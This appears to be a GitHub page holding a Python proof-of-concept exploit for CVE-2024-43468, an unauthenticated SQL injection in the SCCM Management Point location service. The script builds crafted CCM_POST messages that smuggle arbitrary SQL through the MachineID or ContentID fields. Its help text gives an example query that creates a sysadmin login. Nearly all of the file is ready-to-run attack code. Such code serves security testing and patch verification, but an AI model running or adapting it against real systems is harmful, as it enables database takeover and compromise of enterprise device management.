-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathCVE-2024-43468.py
executable file
·94 lines (67 loc) · 5.55 KB
/
CVE-2024-43468.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3
import zlib, requests, argparse, uuid
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class SCCM:
unauth_request_endpoint = "/ccm_system/request"
dummy_package_id = f"UID:{uuid.uuid4()}"
tpl_multipart = b"--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n%b\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n%b\r\n--aAbBcCdDv1234567890VxXyYzZ--"
tpl_updateSFRequest = f"""<UpdateSFRequest><Package ID="{{PACKAGE_ID}}" Version="1"></Package><ClientLocationInfo><BoundaryGroups><BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/></BoundaryGroups></ClientLocationInfo></UpdateSFRequest>\x00"""
tpl_msg = f"""<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="{{LENGTH}}" Offset="0" /><CorrelationID>{{{{00000000-0000-0000-0000-000000000000}}}}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{{{{00000000-0000-0000-0000-000000000000}}}}</ID><Payload Type="inline"/><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo><TargetAddress>mp:[http]{{TARGET_ENDPOINT}}</TargetAddress><TargetEndpoint>{{TARGET_ENDPOINT}}</TargetEndpoint><TargetHost>{{TARGET}}</TargetHost><Timeout>60000</Timeout><SourceID>{{MACHINE_ID}}</SourceID></Msg>"""
tpl_sqli_packageID = f"UID:{uuid.uuid4()}', @ContentVersion = 1; {{QUERY}} ; -- "
tpl_sqli_machineID = f"GUID:{uuid.uuid4()}'; {{QUERY}} ; select '1 "
def __init__(self, target, key, cert):
self._target = target
self._pkey = key
self._cert = cert
def __check_resp(self,r):
if r.status_code == 403 and r.reason == 'Forbidden' and self._target.startswith('http://'):
print('[!] The Management Point is configured in HTTPS only mode, please use HTTPS instead of HTTP')
elif r.status_code == 403 and r.reason == 'Client certificate required':
print('[!] The Management Point requires mutual TLS authentication, please provide a client certificate trusted by the internal PKI')
elif r.status_code == 200:
if 'NoReply'.encode('utf-16-le') in r.content :
print('[+] Exploitation success')
else:
print('[!] Exploitation failed, the Management Point is probably patched')
else:
print('[?] Unknown state')
def __ccm_post(self, path, data):
headers = {"User-Agent": "ConfigMgr Messaging HTTP Sender", "Content-Type": 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'}
#print(f">>>> HTTP Request <<<<<\n{data.decode('utf-16-le')}\n")
r = requests.request("CCM_POST", f"{self._target}{path}", headers=headers, data=data, verify=False, cert=(self._cert, self._pkey))
print(f">>>> Response : {r.status_code} {r.reason} <<<<<\n{r.text}\n")
try:
print(zlib.decompress(r.content.split(b'--aAbBcCdDv1234567890VxXyYzZ')[2].split(b'\r\n')[3]).decode('utf-16-le'))
except:
pass
self.__check_resp(r)
def __ccm_system_request(self, header, request):
multipart_body = self.tpl_multipart % (header.encode("utf-16"), zlib.compress(request))
print(f">>>> Header <<<<<\n{header}\n")
print(f">>>> Request <<<<<\n{request.decode()}\n")
self.__ccm_post(self.unauth_request_endpoint, multipart_body)
def sqli_machineID(self, sql_query):
SQLi_machineID = self.tpl_sqli_machineID.format(QUERY=sql_query)
request_body = self.tpl_updateSFRequest.format(PACKAGE_ID=self.dummy_package_id)
request = b"%s\r\n" % request_body.encode('utf-16')[2:]
header = self.tpl_msg.format(LENGTH=len(request) - 2, TARGET=self._target, TARGET_ENDPOINT="MP_LocationManager", MACHINE_ID=SQLi_machineID)
self.__ccm_system_request(header, request)
def sqli_contentID(self, sql_query, machineid=None):
SQLi_contentID = self.tpl_sqli_packageID.format(QUERY=sql_query)
request_body = self.tpl_updateSFRequest.format(PACKAGE_ID=SQLi_contentID)
request = b"%s\r\n" % request_body.encode('utf-16')[2:]
header = self.tpl_msg.format(LENGTH=len(request) - 2, TARGET=self._target, TARGET_ENDPOINT="MP_LocationManager", MACHINE_ID=machineid)
self.__ccm_system_request(header, request)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="SCCM LocationMgr (MP_Location) Unauthenticated SQL injections - CVE-2024-43468")
parser.add_argument("-t", "--target", action="store", required=True, default=None, help="Target (http[s]://sccm-mp.local/)")
parser.add_argument("-sql", action="store", required=True, default=None, help="Query to execute through the MachineID SQL injection (e.g create login user123 with password = 'p4sswOrd' ; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin' )")
parser.add_argument("-machineid", action="store", required=False, default=None, help="A valid MachineID for the second SQL injection via ContentID")
parser.add_argument("-k", "--key", action="store", required=False, default=None, help="Private key file for mutual TLS")
parser.add_argument("-c", "--cert", action="store", required=False, default=None, help="Certificate file for mutual TLS")
options = parser.parse_args()
if options.machineid is None:
SCCM(options.target, options.key, options.cert).sqli_machineID(options.sql)
else:
SCCM(options.target, options.key, options.cert).sqli_contentID(options.sql, options.machineid)